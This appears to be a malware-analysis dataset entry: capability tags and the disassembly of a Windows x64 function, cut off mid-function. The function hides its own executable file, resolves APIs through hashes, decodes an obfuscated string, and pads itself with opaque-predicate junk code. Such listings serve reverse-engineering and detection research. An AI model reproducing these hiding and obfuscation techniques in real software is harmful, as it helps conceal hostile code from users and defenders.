Function at 0x140052a50
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x248]
sub rsp, 0x330
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14008c020]
xor rax, rsp
mov qword [rbp + 0x200], rax
lea rax, [rbp - 0x68]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
mov qword [0x140090cd8], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140056e3d
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140056e3d
or eax, 2
lea rcx, [rbp - 0x10]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x140056e3d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov dword [rsp + 0x30], 0x7bf480
call fcn.1400140f0
test eax, eax
je 0x140056e3d
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x30], 0x7bf480
call fcn.140006c80
lea edx, [r15 + 0xf]
mov dword [rsp + 0x30], 0x7bf480
xor ecx, ecx
mov dword [rsp + 0x30], 0x7bf480
lea r9d, [r15 + 0x55]
mov r8d, 0x8a0ae76f
call fcn.140018170
call rax
mov rcx, rax
call fcn.140052260
cmp dword [0x140090354], r15d
jne 0x140052ca6
mov byte [rsp + 0x38], r15b
mov byte [rsp + 0x39], 0x8b
mov byte [rsp + 0x3a], 0xf3
mov byte [rsp + 0x3b], 0xf3
mov byte [rsp + 0x3c], 0x50
mov byte [rsp + 0x3d], 0x29
mov byte [rsp + 0x3e], 0xe6
mov byte [rsp + 0x3f], 0xb5
mov byte [rsp + 0x40], 0x13
mov byte [rsp + 0x41], 0x1c
mov byte [rsp + 0x42], 0x26
mov byte [rsp + 0x43], 0xda
mov byte [rsp + 0x44], 0x5d
mov byte [rsp + 0x45], 0xe3
mov byte [rsp + 0x46], 0x8e
mov byte [rsp + 0x47], 0x13
mov byte [rsp + 0x48], 0x5a
mov byte [rsp + 0x49], 0xf0
mov byte [rsp + 0x4a], 0xda
mov byte [rsp + 0x4b], 0x5d
mov byte [rsp + 0x4c], 0xaf
mov byte [rsp + 0x4d], 0xa9
mov byte [rsp + 0x4e], 0xdd
mov byte [rsp + 0x4f], 0xbc
mov byte [rsp + 0x50], 0x8e
mov byte [rsp + 0x51], 0x75
mov byte [rsp + 0x52], WSAGetLastError
movzx eax, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x140052c5a
mov r8d, r15d
nop word [rax + rax]
movzx ecx, byte [rsp + r8 + 0x39]
mov eax, WSAGetLastError
sub eax, ecx
imul ecx, eax, 0x52
mov eax, 0x828cbfbf
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov eax, 0x828cbfbf
add ecx, 0xfb
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xfb
sub ecx, eax
mov byte [rsp + r8 + 0x39], cl
inc r8
cmp r8, 0x1a
jb 0x140052c00
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x20d8fa8c
lea r9d, [rdx + 0x45]
call fcn.140018170
lea r8, [rsp + 0x39]
mov edx, 1
xor ecx, ecx
call rax
mov edx, 0xf
xor ecx, ecx
mov r8d, 0xe0c23134
mov rbx, rax
lea r9d, [rdx + 0x53]
call fcn.140018170
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
jne 0x140056e3d
xor ecx, ecx
mov edx, 0xf
cmp dword [0x14008cd88], 0xd
jne 0x140052da4
lea rax, [0x140090cb0]
mov qword [0x140090cb0], r15
lea r9d, [rdx + 0x3a]
mov qword [0x140090cb8], rax
mov r8d, 0xddde40d3
mov qword [0x140090c78], 1
mov dword [0x140090c80], r15d
call fcn.140018170
lea rcx, [0x140090c88]
call rax
mov ecx, 8
call fcn.140063af4
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x140090c70], rax
test rax, rax
je 0x140056e3d
cmp qword [0x140090c78], rcx
mov rbx, r15
mov dword [0x140090c80], 1
jbe 0x140052d7b
nop
mov edx, 0xf
xor ecx, ecx
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.140018170
lea r9, [0x140090c70]
mov qword [rsp + 0x28], r15
lea r8, [0x140059ce0]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x140090c70]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x140090c78]
jb 0x140052d30
lea rdx, [0x14008e640]
lea rcx, [rsp + 0x58]
call fcn.140008fd0
mov rdx, rax
xor ecx, ecx
call fcn.140059ef0
xor ecx, ecx
call fcn.14005a070
xor eax, eax
jmp 0x140056e42
mov r9d, 0x5a
mov r8d, 0xde1467b1
call fcn.140018170
lea rcx, [rbp - 0x48]
call rax
movzx r8d, word [rbp - 0x48]
mov eax, 0x55555556
movss xmm7, dword [0x1400864bc]
movss xmm6, dword [0x1400864b8]
mov dword [rsp + 0x30], 0x7bf480
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140052e45
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140052e11
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x1400534a1
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140052e3c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140052e20
jmp 0x1400534a1
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140052ea8
mov ecx, 2
sub ecx, r8d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400534a1
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140052e80
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140052f24
add ecx, 2
lea eax, [r8 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140052ed3
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400534a1
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140052f03
dec eax
jmp 0x140052f05
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x140052f1b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x140052ee0
jmp 0x1400534a1
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140052fb7
mov eax, dword [rsp + 0x30]
lea ecx, [r8 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x1400534a1
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140052f93
inc eax
jmp 0x140052f95
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140052f70
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x140053011
mov eax, dword [rsp + 0x30]
or r8d, 1
xor r8d, eax
mov dword [rsp + 0x30], r8d
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140052ff1
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x1400530bf
movd xmm0, dword [rsp + 0x30]
mov eax, 0xaaaaaaab
mul r8d
cvtdq2ps xmm0, xmm0
mov eax, 0x2aaaaaab
shr edx, 1
mulss xmm0, xmm7
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x1400534a1
nop dword [rax]
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x140053080
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140053127
mov edx, dword [rsp + 0x30]
imul ecx, r8d
or edx, 3
mov eax, ecx
and eax, 7
xor edx, eax
lea eax, [rdx*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea r8d, [rcx + 6]
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, edx
mov dword [rsp + 0x30], eax
sub r8, 1
jne 0x140053110
jmp 0x1400534a1
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140053189
mov eax, 0x24924925
mov ecx, r15d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
sub r8d, eax
mov eax, dword [rsp + 0x30]
imul r8d, eax
mov dword [rsp + 0x30], r8d
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140053170
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x1400531de
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, r8d
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400531cd
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x1400534a1
mov dword [rsp + 0x30], ecx
jmp 0x1400534a1
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x14005323f
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, r8d
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x1400534a1
nop
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140053220
jmp 0x1400534a1
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400532be
mov eax, 0xc7ce0c7d
mul r8d
shr edx, 5
imul eax, edx, 0x29
sub r8d, eax
mov eax, dword [rsp + 0x30]
add r8d, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], r8d
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400532a0
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140053337
mov eax, dword [rsp + 0x30]
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0xcccccccd
mul r8d
shr edx, 2
lea eax, [rdx + rdx*4]
sub r8d, eax
mov eax, dword [rsp + 0x30]
inc r8d
cdq
idiv r8d
test edx, edx
je 0x1400534a1
nop dword [rax]
mov eax, dword [rsp + 0x30]
cdq
idiv r8d
mov eax, dword [rsp + 0x30]
imul edx, r8d
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv r8d
test edx, edx
jne 0x140053310
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x1400533ac
mov eax, dword [rsp + 0x30]
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x35
sub r8d, eax
mov eax, dword [rsp + 0x30]
inc r8d
cdq
idiv r8d
test edx, edx
je 0x1400534a1
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv r8d
test edx, edx
jne 0x140053390
jmp 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x1400534a1
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14005340c
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x140053432
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x1400534a1
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
jne 0x140053460
cmp dword [0x14008cd88], 0xa
jne 0x1400534af
mov esi, dword [rbp - 0x28]
jmp 0x1400534b5
mov eax, dword [rbp - 0x28]
lea esi, [rax + rax]
mov dword [rsp + 0x30], 0x7bf480
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov r14d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140053525
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x1400534f8
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140053b81
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14005351c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140053500
jmp 0x140053b81
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
mov eax, dword [rsp + 0x30]
je 0x140053588
mov ecx, 2
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140053b81
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140053560
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
and eax, 0x80000003
je 0x140053604
add ecx, 2
lea eax, [rsi + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400535b2
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140053b81
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x1400535e3
dec eax
jmp 0x1400535e5
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400535fb
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x1400535c0
jmp 0x140053b81
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140053697
mov eax, dword [rsp + 0x30]
lea ecx, [rsi + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140053b81
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140053673
inc eax
jmp 0x140053675
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140053650
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
cmp ecx, eax
je 0x1400536f0
mov eax, dword [rsp + 0x30]
mov ecx, esi
or ecx, 1
xor ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
add ecx, ecx
or ecx, 3
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x1400536d0
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb
cmp ecx, eax
je 0x14005379f
movd xmm0, dword [rsp + 0x30]
mov eax, 0x55555556
imul esi
cvtdq2ps xmm0, xmm0
mov eax, edx
shr eax, 0x1f
add edx, eax
mulss xmm0, xmm7
mov eax, 0x2aaaaaab
cvttss2si ecx, xmm0
sub edx, ecx
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
je 0x140053b81
nop word [rax + rax]
movd xmm0, dword [rsp + 0x30]
mov ecx, 7
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvttss2si eax, xmm0
sub ecx, eax
mov eax, 0x2aaaaaab
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 2
jne 0x140053760
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x140053808
mov r8d, dword [rsp + 0x30]
imul ecx, esi
or r8d, 3
mov eax, ecx
and eax, 7
xor r8d, eax
lea eax, [r8*4]
xor eax, ecx
mov ecx, 0xffffffff
mov dword [rsp + 0x30], eax
lea edx, [rcx + 6]
nop dword [rax]
mov eax, dword [rsp + 0x30]
add eax, ecx
add ecx, r8d
mov dword [rsp + 0x30], eax
sub rdx, 1
jne 0x1400537f0
jmp 0x140053b81
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1d
cmp ecx, eax
je 0x140053869
mov eax, 0x92492493
mov ecx, esi
imul esi
add edx, esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
mov eax, dword [rsp + 0x30]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov ecx, r15d
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
add eax, eax
xor eax, ecx
add ecx, 0x1d
mov dword [rsp + 0x30], eax
cmp ecx, 0x57
jl 0x140053850
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x84210843
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1f
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x1400538bd
mov eax, dword [rsp + 0x30]
not eax
add eax, 0x1f
add eax, esi
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400538ac
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x140053b81
mov dword [rsp + 0x30], ecx
jmp 0x140053b81
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x25
cmp ecx, eax
mov ecx, dword [rsp + 0x30]
je 0x14005391f
mov eax, dword [rsp + 0x30]
add ecx, 0x25
add eax, 0x25
add ecx, esi
xor eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jge 0x140053b81
nop dword [rax]
mov eax, dword [rsp + 0x30]
lea eax, [rax*2 - 0x25]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0x3fffffff
jl 0x140053900
jmp 0x140053b81
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x1400539a3
mov eax, 0x63e7063f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
sub ecx, eax
mov eax, dword [rsp + 0x30]
add ecx, eax
mov eax, 0x63e7063f
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x29
cmp ecx, eax
je 0x140053985
mov eax, dword [rsp + 0x30]
imul edx, eax, 0x29
mov dword [rsp + 0x30], edx
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x63e7063f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x30], edx
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x2fa0be83
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2b
cmp ecx, eax
je 0x140053a16
mov eax, dword [rsp + 0x30]
mov ecx, esi
add eax, 0x2b
mov dword [rsp + 0x30], eax
mov eax, 0x66666667
imul esi
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140053b81
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
mov eax, dword [rsp + 0x30]
imul edx, ecx
add eax, edx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x1400539f2
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
cmp ecx, eax
je 0x140053a8b
mov eax, dword [rsp + 0x30]
mov ecx, esi
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov eax, dword [rsp + 0x30]
inc ecx
cdq
idiv ecx
test edx, edx
je 0x140053b81
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
sub eax, 0x35
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ecx
test edx, edx
jne 0x140053a70
jmp 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
cmp ecx, eax
je 0x140053b81
mov ecx, dword [rsp + 0x30]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140053aeb
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
inc ecx
jmp 0x140053b11
call fcn.140063afc
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, dword [rsp + 0x30]
not r8d
add ecx, r8d
mov eax, 0x92492493
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 7
sub ecx, eax
cmp ecx, 4
je 0x140053b81
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x6bca1af3
add ecx, ecx
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x13
sub ecx, eax
